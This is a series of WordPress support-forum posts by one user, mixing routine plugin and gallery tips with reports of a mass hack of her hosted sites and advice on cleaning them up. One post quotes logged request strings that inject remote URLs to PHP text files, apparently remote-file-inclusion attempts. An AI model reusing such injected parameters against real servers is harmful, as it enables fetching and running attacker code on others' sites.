elizabethrichardson

Seems like it’s working properly now. If so, you may like to mark this topic as resolved.

All the best,

Elizabeth

Hello togblogadmin,

Check that your permalink structure is correct. But also check your theme templates for added code. At the moment your 404 page is redirecting to a page of ads.

All the best with your learning experience. I find things like this step up my skills immensely.

Elizabeth

Thanks antgod … Disabling the ImageFlow worked for me too. Very much appreciated.

Hello Michael,

Did you know that you can go into manage gallery –>> select the gallery –>> then choose the action “create new thumbnails”?

That will create new ones for you. Just make sure you go to options –>> thumbnails and select the size you want to use first.

I’ve had 22 sites on a shared hosting plan hacked over the last weekend. I made it easier by using the same ftp password across all of them…so that’s my fault and I’ve fixed it up now. 20 are wordpress, 2 are frontpage sites. All WordPress were 2.8.4 OR 2.8.5.

I have tracked the IP of the hacker and a list of hacker forums who have been regualarly visiting. Have discovered some very strange entries and 404 reports. See https://www.ads-software.com/support/topic/237003?replies=23

I’d really like to know how do we determine the entry point?

My websites were hacked over the weekend as stated in a previous post.

I’ve been watching the influx of traffic from various hacking forums that obviously list the details of websites hit in the last batch of attacks.

What I am noticing now is strange activity entering a server document command etc sent to a txt file on another url containing php code.

Can someone suggest what is happening and if this is how access is gained…???

https://south-gippsland.net_serverdocument_root=http//cyberirc.fileave.com/id1.txt?

https://south-gippsland.netaction=logout&siteurl=http//www.seeum.co.kr/zero/data/idxx.txt??

My automatic upgrades didn’t work for a variety of plugins and I fixed it by deleting the plugin files completely and uploading manually. wp-admin and wp-includes also needed to be deleted and reinstalled manually…just overwriting the files wasn’t good enough.

All auto upgrades work perfectly now.

Hello dczepiel,

Try removing the entire css for .ngg-album-compactbox
and change the height and width details under .ngg-album-compactbox .Thumb

No … I’m pretty sure it’s only posts.

My entire hosting account consisting of around 22 websites (sub domains were not affected) was hit by the Palestine Telecommunications Company (paltel) (213.6.76.87) hacker over the weekend.

20 x were running wordpress 2.8.4 or 2.8.5 and 2 x were created with frontpage, and my web host manager password needed to be reset so I could get access to overwrite index.php.

I’m really confused about how to clear any other potential problems created by this hacker and all I’ve done so far is change passwords. Any other solutions would be greatly appreciated.

All websites involved were hosted with Lonex Resellers.

Thank you, thank you, thank you bstennett … that worked for me too.

I’d really like to know the answer to this question as well.

What do we add to our robots.txt file to allow the search engines to index our content but not the plugins and themes?

To help clean your website after you’ve discovered an infection, I found it vital to do a MANUAL INSTALL of wordpress 2.8.4 instead of using the auto upgrade.

Delete wp-admin and wp-includes (after taking backup copies of course) and do a fresh install with fresh files downloaded from here.

Deleting and manually installing the theme files and plugins also highly recommended…especially with plugins that have image files or are money generating.

Try doing a fresh manual install of 2.8.4 by completely deleting wp-admin and wp-includes folders.

I also strongly suggest you do the same with any plugins in question…especially those relating to money making activities and images.

Just in case (though you may have tried this too) – I found the best and quickest way to clean my site was to COMPLETELY delete wp-admin and wp-includes and do a fresh manual install.

Doing the same with the plugins in question also helped.

All the best.